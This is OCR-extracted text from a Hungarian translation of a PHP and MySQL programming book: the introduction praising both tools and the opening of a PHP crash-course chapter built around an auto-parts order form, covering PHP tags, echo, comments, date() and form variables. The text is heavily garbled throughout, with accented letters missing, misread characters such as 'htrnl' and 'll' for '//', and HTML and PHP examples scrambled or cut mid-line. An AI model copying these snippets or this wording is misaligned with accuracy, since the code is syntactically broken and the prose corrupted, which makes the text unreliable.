Segovia vzvezetke a rmai ptszet egyik legnagyszerbb, a mai napig meglv memlke. Traianus csszr uralkodsa alatt, az idszmtsunk szerinti els szzadban plt vezetk feladata az volt, hogy vizet szlltson a ma Sierra de Guadarrama n ven ismert hegy lbtl az onnan mintegy 18 kilomter tvolsgra lv hispniai vrosba, Segoviba. Az ptmnyt tbb mint hszezer, kzzel vgort grnittmbbl emeltk, s sem cementet, sem kapcsokat nem hasznltak a tmbk rgztsre. A vzvezetknek a vros kzppontjn thalad, 278 mrer hossz szakasza duplasoros boltvekkel rendel kezik, amelyek a fldtl 34 mrer magasan futva elegns kpet klcsnznek az urcknak. A termszet s az ember okozta viszontagsgoknak krezer ve ellenll ptmny az emberi gyessg idrlen pldja: a mai napig hozzjrul a vros vzellrshoz.
Bevezets
Kszntjk a PHP s
a PHP s a MySQL- napjaink kt legelterjedtebb webfejleszt eszkznek- hasznlata sorn szerzett minden tudsunkat. A bevezetsben az albbiakrl lesz sz: Mirt rdemes elolvasni a knyvet? Mire lesznk kpesek a knyv segtsgve!? Mi a PHP s a MySQL,s mirt olyan nagyszerek? Mi vltozott a PHP s a MySQL legutols verziiban? Hogyan pl fel a knyv? Vgjunk bele!
B evezets
Webalap levelezalkalmazs Levelezlista-kezelk Online frumok PDF dokumentumok ellltsa Webszolgltatsok XML-lel s SOAP-pal Web 2.0-s alkalmazs ltrehozsa Ajaxszal Ezen projektek rnindegyike a knyvben megtallhat llapotban is mkdik, de termszetesen egyni ignyeinknek meg felelen mdosthatk. Azrt ezekre esett a vlasztsunk, mert meglrsunk szerint ezek tartoznak a programozk ltal leg gyakrabban fejlesztert webes alkalmazsok kz. A knyv ugyanakkor ezektl eltr ignyek esetn is nagy segtsget jelenther cljaink elrsben.
MiaPHP
A PHP kifejezetten az internetre kifejlesztett, szerveroldali szkriptnyelv. A HTML oldalakba az oldal minden egyes megnyi tsakor lefut PHP kdot gyazhatunk. A PHP kd rtelmezse a webszerveren trtnik, ami a ltogat ltal megtekinthet HTML-t vagy egyb kimenetet hoz ltre. A PHP els verzija 1994-ben kszlt el, s eredetileg egyetlen ember, Rasmus Lerdorf munkja volt. Ms tehetsges emberek is elkezdtek dolgozni vele, s ngy jelents jrarson ment keresztl, amg elrkeztnk a jelenleg szles krben hasz nlhat, rett termkhez. 2007. jliusi adatok szerint vilgszerte tbb mint 21 milli domanre teleptertk, s ez a szm igen gyorsan n. (A PHP terjedsnek aktulis llst a http://www.php.net/usage.php oldalon tekinthetjk meg.) A PHP nylt forrskd projekt, ami azt jelenti, hogy brki hozzfrher a forrskdhoz, s ingyenesen hasznlhatja, mdo sthatja, illetve terjesztheti azt. A PHP erederileg a Personal Home Page (szemlyes honlap) rvidtse volt, de a GNU rekurzv rvidtsnek (GNU= Gnu's Not Unix, azaz a Gnu nem Unix) elfogadsval egytt ez is megvlrozort, s most a PHP Hypertext Preprocessor (PHP hiperszveg elfeldolgoz) kifejezs rvidtst jelenti. A PHP jelenlegi f vltozata az 5-s. Ezt a verzit a nyelv mgtt ll virtulis gp, a Zend motor teljes jrarsa, illetve a nyelv nhny jelents javtsa jellemzi. A PHP honlapja a htrp://www.php.net cmen rhet el. A Zend Technologies weboldala a http://www.zend.com.
MiaMySQU
A MySQL egy nagyon gyors, srabil, relcis adatbzis-kezel rendszer (angol rvidtssel RDBMS). Az adatbzis lehetv teszi az adatok hatkony trolst, keresst, rendezst s kinyerst. A MySQL kiszolgl az adatokhoz val hozzfrst szablyozva biztostja, hogy egyidejleg tbben is hasznlhassk az adatokat, gyorsabb hozzfrst knl hozzjuk, s garan tlja, hogy csak a jogosult Felhasznlk szerezhetnek hozzfrst. Ezrt a MySQL rbbfelhasznls, tbbszl kiszolgl.
Strukturlt lekrdez nyelvet (Structured Query Language- SQL), a szabvnyos adatbzis-lekrdez nyelvet hasznlja.
A MySQL 1996 ta elrhet a nyilvnossg szmra, de fejlesztsi trtnete 1979-ig nylik vissza. A vilg legnpszerbb nylt forrskd adatbzisa, amely szmtalan alkalommal elnyerte a Linux Journal szaklap "Readers' Choice Award" -jt (Ol vasink vlasztsa djt). A MySQL ketts licencelsi rendszerben rhet el. Amennyiben elfogadjuk a nylt forrskd licenc (a GPL) feltteleit, ingye nesen hasznlhatjuk. Ha MySQL-t tartalmaz nem GPL alkalmazst kvnunk terjeszteni, fizets licencet kell vsrolnunk. A MySQL honlapja a http://mysql.com cmen rhet el.
Bevezets
Ebben a knyvben alig foglalkozunk a hardverrel, az opercis rendszerekkel vagy a webszerver szaftverveL Nincs r szk sgnk. A PHP s a MySQL egyik legnagyszerbb tulajdonsga, hogy minden f opercis rendszeren, st a kisebbek kzl is sok rendszeren hasznlhat. A PHP kdok nagy rsze megrhat gy, hogy opercis rendszerektl s webszerverektl fggetlenl futtathat legyen. Egyes PHP fggvnyek az opercis rendszertl fgg fjlrendszerhez ktdnek, m ezeket egyrtelmen megjellik a kzi knyvekben, s mi is jelezzk, amikor ilyennel dolgozunk. Akrmilyen hardvert, opercis rendszert s webszervert vlasszunk is, szeriotnk mindenkppen rdemes a PHP s a MySQL mellett dnteni.
Teljestmny
A PHP nagyon gyors. Mg egyszer, olcs szervert hasznlva is tbb milli letltse szolglhatunk ki naponta. A Zend Technolo gies (http://www.zend.com) ltal publiklt sszehasonlt adatok alapjn a PHP nagyobb teljestmnyre kpes versenytrsainl.
Sklzhatsg
A PHP-Rasmus Lerdorf szavaival lve-.,megosztott elem nlkli" (shared-nothing) archicektrval rendelkezik. Ez azt jelenti, hogy hatkonyarr s olcsn, akr belp szint szerverekkel is lehet horizontlisan bvteni.
Adatbzis-integrci
A PHP szmos adatbzisrendszerhez tud natv mdon kapcsoldni. A MySQL-en tlmenen kzvetlenl kapcsoldhatunk egyebek kztt PostgreSQL, Oracle, dbm, FilePro, DB2, Hyperwave, lnformix, lnterBase s Sybase adatbzisokhoz. A PHP 5-s verzija SQLite nev, beptett SQL fellettel rendelkezik az egyszer fjlokhoz. Open Database Connectivity Standard (ODBC), vagyis nylt adatbzis-kapcsols hasznlatval brmilyen, ODBC driverrel rendelkez adatbzishoz kapcsoldhatunk. Sok egyb mellett a Microsoft-termkek tartoznak ide. A PHP-hoz a natv knyvtrak mellett PHP Database Objects (PDO), azaz egy PHP adatbzis-objektumok nev adatbzis absztrakcis rteg is tartozik, amely kvetkezetes hozzfrst tesz lehetv, s elsegti a biztonsgos programozsi megoldsok hasznlatt.
Beptett knyvtrak
Mivel a PHP-t interneten val hasznlatta alaktottk ki, szmtalan beptett fggvnnyel rendelkezik a klnfle, internettel kapcsolatos feladatok elvgzsre. Mindssze nhny sornyi kdra van szksg ahhoz, hogy menet kzben lltsunk el kpeket, webes vagy egyb hlzati szolgltatsokhoz kapcsol<ljunk, XML-t rtelmezznk, e-mailt kldjnk, stikkel (cookie-kkal) dolgozzunk, vagy PDF dokumeorumokat hozzunk ltre.
Bevezets
Kltsg
A PHP ingyenes. Legfrissebb vltozata brmikor letlthet a http:/ /www.php.net oldalrl.
Egyszer megtanulhatsg
A PHP szintaktikja ms programozsi nyelvekre, elsdlegesen a C-re s a Perire pl. Ha mr ismerjk ezeket vagy olyan C-szer nyelveket, mint a C++ vagy a Java, akkor szinte azonnal eredmnyesen tudjuk hasznlni a PHP-t is.
Hordozhatsg (platformfggetlensg)
A PHP szmtalan opercis rendszeren elrhet. PHP kdot rhatunk olyan ingyenes Unix-szer opercis rendszerekre, mint a Linux s a FreeBSD, fizets Unix-vltozatokra-pldul Solaris s IRIX rendszerekre-, OS X-re vagy a Microsoft Windows klnbz vltozataira. A jl megtt kdok jellemzen mdosts nlkl mkdnek a PHP-t fUttat klnbz rendszereken.
A PHP lehetv teszi az egyszer feladatok egyszer megvalstst. De ugyanilyen knnyen szolglja nagy alkalmazsok olyan megvalsrst is, amely tervezsi mintkra - pldul Model-View-Controller (MVC) mintra- pl keretrendszer hasznlatval trtnik.
Forrskd
A PHP forrskdja hozzfrhet. A fizets, zrt forrskd termkekkel ellenttben, ha szeretnnk mdostani valamit a PHP-n, vagy hozzadnnk valamit a nyelvhez, nyugodtan megtehetjk. Nem kell vrnunk, mg a gyrt megjelenteti a javt sokat. Attl sem kell tartani, hogy a gyrt felhagy az zlettel, vagy gy dnt, abbahagyja a termk tmogatst.
A tovbbi vltoztatsok kz tartozik egyes kiterjesztsek thelyezse az alaprtelmezett PHP-teleptsbl a PECL knyv trba, az adatfolyamok jobb tmogatsa s az SQLite hozzadsa.
Bevezets
A knyv rsakor a PHP 5.2-es volt a legjabb vltozat, de mr kzelgett a PHP 5.3. A PHP 5.2 szmos hasznos j funkci val rendelkezett: Bizronsgi clokra hasznlhat j beviteli szr
JSON kirerjeszts a JavaScript interoperabilitsrt Fjlfeltltsi folyamat nyomon kvetse Jobb dtum- s idkezels Szmos frisstett kliensknyvtr, teljestmnyfejleszrsek (pl. jobb memriakezels a Zend motorban) s hibajavtsok
A PHP 5.3
fbb jellemi
Olvashatrunk mr a PHP j fvltozatrl, a PHP 6-rl is. A knyv rsa idejn ez mg nem volt a megjelens kzelben, s a hosting szolgltatk mg j ideig biztosan nem fogjk tmeges hasznlat cljbl telepteni. Ugyanakkor a PHP 6-os verzi jba tervezett szmos funkci megtallhat a PHP 5.3-as verzijban is, amely alverzi kzelebb ll az elfogadshoz, s gy ahhoz is, hogy a hosting szolglratk telepteni kezdjk (ha mi magunk kezeljk a szervernket, akkor termszetesen brme lyik neknk tetsz verzit relepthetjk). A kvetkezkben a PHP 5.3 funkcii kzl sorolunk fel nhnyat; a knyv megfelel oldalain tovbbi informcit tallunk majd velk kapcsolatban: Nvterek tmogatsa; tovbbi informcirt lsd: http://www. php.net/language.namespaces Az ind kiterjeszts tmogatsa az alkalmazsok nemzetkziestshez; tovbbi informcirt lsd: http://www.php.net/ manual/ en/intro.ind.php A phar kirerjeszts tmogatsa beptett PHP tmrt alkalmazs ltrehozsra; tovbbi informcirt lsd: hrtp:/l www.php.net/book.phar A lileinfo kiterjeszts tmogatsa a jobb fjlkezels rdekben; tovbbi informcirt lsd: http://www.php.net/manual/ en/book.lileinfo.php A sqlire3 kirerjeszts tmogatsa a SQLite begyazhat SQL adatbzismoror hasznlathoz; tovbbi informcirt lsd: http://www.php.net/ manual/en/class.sqlire3.php A libmysql-t felvlt MySQLnd driver tmogatsa; tovbbi informci: http://forge.mysql.com/wiki/PHP_MYSQLND A fenti lista a PHP 5.3 szlesebb krben ismert j funkciit tartalmazza, ugyanakkor a verzi a mr korbban is meglv funkcikon vgzett szmos hibajavtssal, karbantartssal, frisstssei is bszklkedhet: A Windows 2000-nl rgebbi Windows-verzik (pldul Windows 98 and NT 4) tmogatsnak megszntetse A PCRE, Reflection s SPL kiterjeszts lland elrhetsgnek biztostsa A dtumokkal val szmolst s a dtumkezelst megknnyt dtum- s idfggvnyek hozzadsa A crypt(), hash() s md5() funkci mkdsnek, illetve az OpenSSL kirerjesztsnek a tovbbfejlesztse A php.ini adminisztrlsnak s kezelsnek fejlesztse, egyebek kzte jobb hibajelentsekkel A Zend motor finomhangolsnak folytatsa a gyorsabb PHP-futsi sebessg s memriahasznlar rdekben
Teljestmny
A MySQL vitathatatlanul gyors. A fejlesztk benchmark- azaz viszonyrsi rtkeket mutat- oldalt a http://mysql.com/ why-mysql/benchmarks cmen rhetjk el. Az rtkek nagy rsze azt mutatja, hogy a MySQL nagysgrendekkel gyorsabb versenyrrsainl. 2002-ben az eWeek ugyanazt a webes alkalmazst hasznlva sszehasonltott t adatbzist. Az eredmny dntetlen lett a MySQL s a nla sokkal drgbb Oracle kztt.
Bevezers
Alacsony kltsg
A MySQL nylt forrskd licenccel ingyenesen, kereskedelmi licenccel pedig alacsony ron hasznlhat. Amennyiben a MySQL-r valamely alkalmazs rszeknt s nem Open Source licenccel szeretnnk terjeszteni, akkor fizets licencre van szksgnk.Ha nem kvnjuk alkalmazsunkat terjeszteni - s a webes alkalmazsok tbbsgvel ez a helyzet -, illetleg in gyenes vagy nylt forrskd szoftveren dolgozunk, nem szksges licencet vsrolnunk.
Egyszer hasznlhatsg
A legtbb modern adatbzis SQL-t hasznl. Ha dolgozrunk mr ms relcis adatbzis-kezel rendszerrel, akkor nem fog gondot okozni, hogy hozzszokjunk a MySQL-hez, amely radsul a tbbi hasonl termknl egyszerbben bellthat.
Hordozhatsg (platformfggetlensg)
A MySQL szmtalan klnbz Unix-rendszeren, illetve Microsoft Windows alatt is hasznlhat.
Forrskd
Akrcsak a PHP, a MySQL forrskdja is beszerezhet s mdosthat. Ez ugyan a felhasznlk tbbsgnek ltalban nem szempont, a tudat mgis megnyugtat, mert garantlja a folytonossgot, s vszhelyzet esetn van hova nylni.
Tmogats elrhetsge
Nem minden nylt forrskd termkhez tartozik olyan anyavllalat, amely tmogatst, kpzseket, tancsadst s minstse ket ad, m a MySQL AB (www.mysql.com) mindezr az elnyt knlja a felhasznlk szmra.
Bevezets
Vgezetl
Remljk, a Kedves Olvas legalbb annyira lvezni fogja a knyvet, illetve a PHP s a MySQL elsajttst, rnint amennyire a szerzk, amikor elkezdtk hasznlni ezeket a termkeket. Hasznlatuk tnyleg rm. Rvidesen az olvas is csatlakozhar a tbb ezer webfejleszrhz, aki ezekkel a srabil s hatkony eszkzkkel pt dinamikus, napraksz informcikar tartalmaz weboldalakar.
Kedves Olvas!
Szecernnk megksznni, hogy kiadvnyunkat vlasztotta a PHP s a MySQL megismershez. A knyvben szerepl pldk hoz tartoz forrskdokat s mellklereker regisztrci urn letltheti a www.perfactkiado.hu/melleklerek oldalrl. A knyv ben hasznlt, jelenleg ingyenes szofrverek szintn letlthetek weboldalunkrL rdemes azonban az interneten megkeresni ezen szofrverek frissrseir, jabb verziit s azokar hasznlni.
A kiad, a fordt s a szakmai lektor
I
A PHP hasznlata
PHP gyorstalpal
Tombk hasznlata
Objektumorientlt PHP
Hiba, s kivtelkezels
l
PHP gyorstalpal
A fejezet rviden ttekinti a PHP szintaktikjt s nyelvi alkotelemeit. PHP-ben mr programoz olvasinknak is rdemes tfutni, mett alkalmas lehet a tudsukban lv fehr foltok eltntetsre. Ha jrtasak vagyunk a C, a Perl Active Server Pages (ASP) vagy egyb programozsi nyelvben, akkor a fejezetben lertak segtsgvel gyorsan kpbe kerlhetnk a PHP-t illeten is. A knyvben a vals letbl szrmaz, a szerzk igazi weboldalak ltrehozsa sorn szerzert tapasztalatai alapjn sszell tott pldkan vggmenve fogjuk elsajttani a PHP hasznlatr. A programozsi szakknyvek igen gyakran nagyon egyszer pldkan keresztl tantjk meg az alapvet szintaktikt. gy dntttnk, hogy ms utat vlasztunk. Az olvasknak azt kell megrtenik, hogyan mkdik a nyelv, nem a szintaktikt s a fiiggvnyeket felsorol jabb referenciaknyvre van szksgk, ami semmivel sem tud tbbet, mint az online kziknyv. Prbljuk ki a pldkat! Gpeljk be vagy tltsk le a http://www.perfactkiado.hu/mellekletek oldalrl, vltoztassuk meg, rontsuk el, majd prbljuk megjavtani azokat! A fejezet elszr is egy online termkrendel rlap pldjn keresztl mutatja be a vltozk, a mveleti jelek (opertorok) s a kifejezsek PHP-beli mkdst. A vltoztpusokat s az opertorok Icirtkelsi sorrendjt is ttekintjk. Az gyfl meg rendelsn a vgsszeget s az adtartalmat kiszmtva megtanulj uk, hogyan rhetjk el s kezelhetjk az rlapvltozkat. Ezt kveten a beviteli adatokat ellenrz PHP kd hasznlatval online rendelsi rlapot fejlesztnk. Megvizsgljuk a Boole-vltozk fogalmt, majd if s else parancsokat, a?: mveleti jelet s a switch utastst hasznl pldkat nznk t. Vgl ismtld HTML tblzatokat generl PHP kd rsa kzben megismerkednk a ciklusokkaL A fejezetben az albbi fbb tmakrkkel foglalkozunk: PHP begyazsa HTML-be Dinamikus tartalom hozzadsa rlapvltozk elrse Azonosrk Felhasznl ltal deklarlt vltozk ltrehozsa Vltoztpusok ttekintse rtk hozzrendelse vltozkhoz llandk deklarlsa s hasznlata Vltozk hatkre Opertorok s mveletek kirtkdsi sorrendje Kifejezsek kirtkelse Fggvnyvltozk hasznlata Elgazsok if, else s switch utastsokkal Itercik alkalmazsa while, do s for ciklusokkal
Kezds eltt:
PHP elrse
A fejezetben s a knyv tbbi rszben szerepl pldk hasznlathoz olyan webszerverhez kell hozzfrnnk, amelyre telept ve van a PHP. Hogy minl tbbet kihozzunk a pldkbl s esettanulmnyokbL futtatnunk kell, s meg kell prblni mdos tanunk azokat. Ehhez olyan tesztgyra van szksg, ahol ksrletezni tudunk. Amennyiben szmtgpnkre nincsen PHP teleptve, els feladatunk a telepts lesz, vagy krjk meg a rendszergazdt, hogy tegye ezt meg neknk! Az erre vonatkoz utastsokat A PHP s a MySQL teleptse cm fejezetben talljuk a Fggelk ben. A PHP Unix s Windows opercis rendszerekre teleptshez szksges minden sszetevt megtalljuk a http:/ /www. perfactkiado.hu/mellekletek oldalrl letlthet mappk kztt.
12
2. fejezet
1.1 bra:
<form action="rendeles_feldolgozasa.php" method="post"> <table border="O"> <tr bgcolor="lcccccc"> <td width="l50">Ttel</td> <td width="l5">Mennyisg</td> </tr> <tr> <td>Gumiabroncs</td> <td align="center"><input type="text" name="abroncs maxlength="3" /></td> </tr> <tr> <td>Olaj</td> <td align="center"><input type="text" name="olaj_db" maxlength="3" /></td> </tr> <tr> <td>Gyjtgyertya</td> <td align="center"><input type="text" maxlength="3" /></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" value="Rendels elkldse" /></td> </tr> </table> </form> name="gyertya_db" size="3" size="3" db" size="3"
PHP gyorstalpal
13
Lthat, hogy az rlap action tulajdonsgnl az gyfl megrendelst feldolgoz PHP kd neve lett megadva. {Rvide sen megrjuk ezt a kdot.) Az action tulajdonsg rtke az az URL, amely akkor tltdik be, amikor a felhasznl a"Rende ls elklds' gombra kattint. A felhasznl ltal az rlapba begpelt adatok a rnethod tulajdonsg rtkrl fUggen ktfle kppen klddhetnek el ennek az URL-nek. Az egyik a get {az adatokat az URL vghez ruzi hozz), a msik pedig a post metdus {kln zenetben kldi el azokat). Figyeljk meg az rlap mezinek a nevt is: abroncs_db, olaj_db s gyertya_ db! A PHP kdban is hasznlni fogjuk ezeket a neveket. Mivel ksbb is szksg lesz rjuk, fontos, hogy rtelmes, beazonosthat neveket adjunk az rlapmezknek, hogy a PHP kd megrsakor is emlkezhessnk rjuk. Egyes HTML szerkesztk olyan alaprtelmezett mezneveket gene rlnak, mint pldul a field23. Egy ilyet szinte lehetetlen megjegyezni. PHP-programozssal tlttt rinkat jelentsen kny nyebb tehetjk azzal, hogy a mezbe begpelend adatra utal nevet hasznlunk. rdemes a meznevekhez valamilyen kdolsi szablyt alkalmazni, hogy az oldalon lv minden meznv ugyanolyan for mtum legyen. gy knnyebb megjegyezni, hogy vajon rviditettnk-e egy szt a mez nevben, vagy alulvonst hasznlunk-e a szkzk helyett.
l
\,
'j
Az rlap feldolgozsa
Az rlap feldolgozshoz ltre kell hoznunk a forrn cmke {tag) action tulajdonsgban emltett, rendeles_
feldolgozasa.php
nev kdot. Nyissuk meg szvegszerkesztnket, s hozzuk ltre a fjlt! Ezt kveten gpeljk be az
albbi kdot:
<htrnl> <head> <title>Bob autalkatrszek </head> <body> <hl>Bob autalkatrszek</hl> <h2>Rendelsi eredrnnyek</h2> </body> </htrnl> Rendelsi eredrnnyek</title>
Lthatjuk, hogy idig tisztn HTML kdot gpeltnk be. Ideje egyszer PHP kddal kiegszteni a szkriptet!
Mentsk el a fjlt, s tltsk be bngszbe azzal, hogy kitltjk Bob rlapjt, majd a "Rendels elkldse" gombra kattin
M.,.,u.!or..r"'
; -:"
Bob autalkatrszek
Rendelsi eredmnyek ...... -
Vizsgljuk meg. hogy miknt lett begyazva az ltalunk rt PHP kd a szoksos kinzet HTML fjlba! Prbljuk megte kinteni bngsznkben a forrskdot! A kvetkez kdot kell ltnunk:
<htrnl> <head> <title>Bob autalkatrszek Rendelsi eredrnnyek</title>
14
2. fejezet
</head> <body>
A nyers PHP kd itt nem lthat, mert a PHP fordt vgigfutort a szkripten, s a fordts eredmnyre cserlte a PHP kdot. Ez azt jelenti, hogy PHP-bl brmilyen bngszvel megtelcinthet, tiszta HTML kdot tudunk ellltani. Ms sza vakkal: a felhasznl bngszjnek nem kell rtenie a PHP-t. Ez a plda egyszeren szemiitette a szerveroldali programozs fogalmt. A PHP rtelmezse s vgrehajtsa a webszerveren trtnt, a JavaScripttl vagy ms, a felhasznl szmtgpn lv bngszben rtelmezett s vgreh:Ytort kliensoldali technolgitl tvol. A fjlban lev kd ngyfle szveget tartalmaz: HTML PHP cmkk (tag) PHP utastsok Fehrkz karakterek A kdhoz megjegyzseket is adhatunk. A pldban lv sorok tbbsge egyszer HTML.
PHPcmkk
Az elz pldban a PHP kd a <?php karakterekkel kezddtt s a ?>karakterekkel rt vget. Ez a HTML cmkkhez " hasonl, hiszen azok mind a"kisebb, mint ( <) szimblummal kezddnek, s a"nagyobb, mint" ( > ) szimblum zrja le ket. Ezeket a szimblumokat (<?php s ?>) PHP cmkknek (tag) nevezzk. Tudatjk a webszerverrel, hol kezddik s hol r ezen cmkken kivli szveget. A PHP zrcmkkkel elhagyhatjuk a PHP-t, s visszatrhetnk a HTML kdhoz. Klnbz cmkestlusok kzl vlaszthatunk Vizsgljuk meg rszletesebben is ezeket a cmkket! A PHP cmkknek ngy klnbz stlusa ltezik. A most kvetkez kdrszletek egymssal egyenrtkek: vget a PHP kd. A cmkk kzrti minden szveg PHP-knt rtelmezhet. A webszerver egyszer HTML-knt kezeli az
XMLstt1us
<?php echo '<p>Rendels feldolgozva.</p>'; ?>
Ez a preferlt, gy knyvnkben is hasznlt cmkestlus. A kiszolgl rendszergazdja nem kapcsolhatja ki, gy biztosak leherunk benne, hogy minden szerveren elrhet; ez akkor klnsen fontos, arnikor olyan alkalmazst runk, amit tbbszr, klnbz szerverekre fognak telepteni. Ez a stlus az Extensible Markup Language (XML) dokumentumokkails hasznlha t. ltalnossgban ez az ajnlott stlus.
Rvid stt1us
<? echo '<p>Rendels feldolgozva.</p>'; ?>
Ez a legegyszerbb, a Standard Generalized Markup Language (SGML) utastsfeldolgoz stlust kvet cmkestlus nem mellesleg ez az, amelyik a legkevesebb gpelst ignyli. Az ilyen tpus cmkk hasznlarhoz be kell kapcsoini a coniig fjlban a short_open_tag belltst, vagy a rvid cmkk bekapcsalsval kell a PHP-t lefordtani. A Fggelkben tallunk bvebb informcit errl a cmkestlusrL Hasznlata mindazonltal nem ajnlott, mert a kd szmos krnyezetben nem fog mkdni, rnivel a stlus alaprtelmezetten mr nincsen bekapcsolva.
SCRIPT stt1us
<script language='php'> echo '<p>Rendels feldolgozva.</p>'; </script>
Ez a leghosszabb cmkestlus, ami ismers lehet mindenkinek, aki hasznlt mr JavaScriptet vagy VBScriptet. Akkor rde mes ezt vlasztani, ha a tbbi cmkestlus hasznlarakor problmkat jelez a HTML szerkeszt.
PHP gyorstalpal
15
ASP stt1us
<% echo '<p>Rendels feldolgozva.</p>'; %>
Ez a cmkestlus megegyezik az Active Server Pages (ASP) vagy ASP.NET keretrendszerben hasznltral. Akkor dolgozhatunk vele, ha bekapcsoltuk az asp_tags konfigurcis belltst. Csak akkor van rtelme ezt a tag-stlust vlasztani, ha ASP-re vagy ASP.NET-re kihegyezett szerkesztt hasznlunk. Fontos tudni, hogy alaprtelmezsben nincs bekapcsolva ez a crnkestlus.
PHP utastsok
A nyit s zr cmkk kz helyezett PHP utastsokkal kzlhegk a PHP fordtval, hogy mi a teendje. Az elz plda egyeden utastst tartalmazott:
echo '<p>Rendels feldolgozva.</p>';
Mint lthattuk, az ech o hasznlara nagyon egyszer eredmnnyel jrt: a neki radott sztringer, azaz karakterlncot kirja a bngszben (vagyis visszaadja neki, innen az angol echo kifejezs). Az 1.2 brn ltharjuk az eredmnyt, vagyis a bngsz ablakban megjelen Rendels feldolgozva. szveget. Figyeljk meg az ech o utasts vgn lev pontosvesszd PHP-ben pontosvesszkkel vlaszguk el az utastsokat- ha sonlan ahhoz, ahogy az rott szvegben a mondatokat pontra!. Ha programoztunk mr C-ben, Javban vagy Pascalban, bizo nyra ismersnek fogjuk tallni a pontosvessz ilyen hasznlatr. A lefelejtett pontosvessz gyakori, knnyen elkvethet szintaktikai hiba. Szerencsre ugyanilyen egyszeren megrallhat s javthat is.
Fehrkz karakterek
Az olyan elvlaszt karaktereket, mint a sortrs, a szkz s a tabultor,fehrkz (whitespace) karaktereknek nevezzk. Mint
bizonyra tudjuk, a bngszk figyelmen kvl hagyjk a HTML-ben lev ilyen karaktereket. Ugyangy jr el a PHP motor is. Vizsgljuk meg az albbi kt HTML kdrszleret:
<hl>Kszntjk a Bob autalkatrszek boltjban!</hl><p>Mit szeretne rendelni ma?</p>
s
<hl> Kszntjk a Bob autalkatrszek boltjban!</hl> <p> Mit szeretne rendelni ma?</p>
Ez a kr tredk egyforma kimenetet produkl, ugyangy jelennek meg a bngszben. Ennek ellenre rdemes fehrkz karaktereket alkalmazni, mert gyesen hasznlva nvelhetik a HTML kd olvashatsgt. Ugyanez igaz a PHP-re is. Nem szksges fehrkz karaktereket raknunk a PHP utastsok kz, de sokkal knnyebben olvashat lesz a kd, ha minden utas tst kln sorba runk. Pldul az
echo 'hell '; echo 'vilg';
s az
echo 'hell ';echo 'vilg';
Megjegyzsek
A megjegyzsek pontosan azok, amit a nevk sugall: a kdot olvas emberek szmra sznt megjegyzsek. Hasznlhatjuk ket a kd cljnak elmagyarzsra, kzlhegk, hogy ki rta, mirt gy rta, ahogy, mikor mdostotta stb. A legegyszerbb PHP kdok kivtelvel szinte mindenhol tallunk megjegyzseket. A PHP fordt figyelmen kvl hagr.ja a megjegyzsekben lev szveget. A PHP feldolgoz lnyegben tugorja a megjegy zseket, a fehrkz karakterekkel egyenrtknek tekinti azokat. A PHP a C-tpus nyelvek stlusban rt, illetve a shell szkript stlus megjegyzseket tmogatja. Az albbi, C-stlus, tbbsoros megjegyzssel pldul PHP kd elejn tallkozhatnnk:
/* Szerz: Bob Smith prilis 10. Utols mdosts idpontja:
A kd
*l
16
2. fejezet
Mindkt stlusra igaz, hogy a megjegyzs szimblum ( # vagy ll) utn a sor vgig vagy a zr PHP cmkig tart a megjegyzs. A kvetkez kdsorban a zr cmke eltti szveg, az ez itt megjegyzs a megjegyzs rsze. A zr cmke utni sz veg, az e z itt nem HTML kdnak tekintend, mivel a zr cmkn kivl esik:
ll
F Y');
F Y') ."</p>";
A kdban hasznlt, beptett date () PHP fggvny kzli a vevvel rendelse feldolgozsnak dtumt s idejt. Ez az informci a kd minden egyes lefutsakor ms s ms lesz. Az 1.3 brn a kd egy adott idpontban trtn lefuttatsnak kimenett lthatjuk.
-Bob autalkatrszek
Rendelsi nedmnyek
t.ll
tttaf
?r-:-.11-.:,w
Fggvnyhvsok
Vizsgljuk meg a date () fggvny meghvst! Ez a fggvnyhvs lcalnos formja. A PHP webes alkalmazsok fejleszt sekor hasznlhat fggvnyek szles vlasztkval rendelkezik. A fggvnyek tbbsgnek valamilyen adatot (paramtert) kell tadni, s a fggvnyek maguk is valamilyen rtkkel trnek vissza. Nzzk meg jra ezt a fggvnyhvst:
date('H:i, jS
F');
PHP gyorstalpal
17
Lthatjuk, hogy a hvssal egy karakterlnc (szveges adat) addk t a zrjelek kzt a fggvnynek. A zrjelben lv elemet a fggvny paramternek, ms nven argumentumnak hvjuk. Az ilyen paramtereker a fggvny bemeneti adarknt hasznlja valamilyen konkrt eredmny (kimenet) ellltsra.
A da te ( ) fggvny hasznlata
A date
()
fggvny formz karakterlncot (formar string) vr paramterknt, ami meghatrozza a kivnt kimenet stlust.
A karakterlnc minden betje a dtum s id egy-egy rszt jelkpezi. A H az ra a 24 rs idformtumban (az egyszmjegy rk eltt bevezet nullval), az i a percek (szksg esern szinrn bevezet nullval), a j a hnap napja (mindg nulla nl kl), az S a sorszrnnv kpzje ( jelen esetben ez th, hiszen angolul rjuk ki a dtumot), az A date
F
()
fggvny ltal tmogatott formromok teljes list:ijt a Dtum s id kezelse m 21. fejezerben talljuk meg.
Az rlapvltozk elrse
A megrendelsi rlap hasznlatnak clja az gyflrendelsek begyjtse. Az gyfelek ltal begpelt adatokat knnyen megsze rezhetjk PHP-ben, de a tnylegesen alkalmazand mdszer az ltalunk hasznlt PHP verzijrl s php. ini fjlunk egyik bellrstl fgg.
ll
rvid stlus
$_POST['abroncs_db']
ll
kzepes stlus
$HTTP_POST_VARS['abroncs
db']
ll
hossz stlus
Pldnkban s a knyv egszben a kzepes stlussal (vagyis a $_POST[ 'abroncs_db' ] formval) fogunk hivatkozni az rlapvlrozkra, m az egyszersg kedvrt a vltozk rvidebb vltozatt is ltrehozzuk. De a kdban, nem pedig auto matikusan tesszk ezt, mert automatikus ltrehozsuk biztonsgi problmt vetne fel a kdban. Sajt kdjaink esetben vlaszthatunk ettl eltr megkzeltst. Hogy megalapozott dnrst hozhassunk, tekintsk r a klnbz mdszereket: A rvid stlus ( $abroncs_db) knyelmes ugyan, de hasznlata a register _globals konfigurcis bellts bekap csolst ignyli. Ez a bellirs biztonsgi okokbl alaprtelmezsben ki van kapcsolva. A stlus hasznlarakor knnyen kvethetnk el a kdot megbzhatariann (nem biztonsgoss) tev hibkat, ppen ezrt ez a stlus napjainkban mr nem igazn ajnlott. Nem lenne rtelme egy j kdban hasznlni, mert a PHP 6-os verzijbl valsznleg el fog tnni. Az ajnlott megkzelrs a kzepes stlus ( $_POST [ 'abroncs_db' l). Amennyiben a kzepes stlus alapjn a vltoz nevek rvid vltozatt hozzuk ltre (ahogy tesszk a knyvben is), nem kell biztonsgi krdsekkel foglalkoznunk, r A hossz stlus ( $HTTP _POST_VARS [ 'abroncs_db' l) a leginkbb szszryr. Meg kell emltennk, hogy jabban 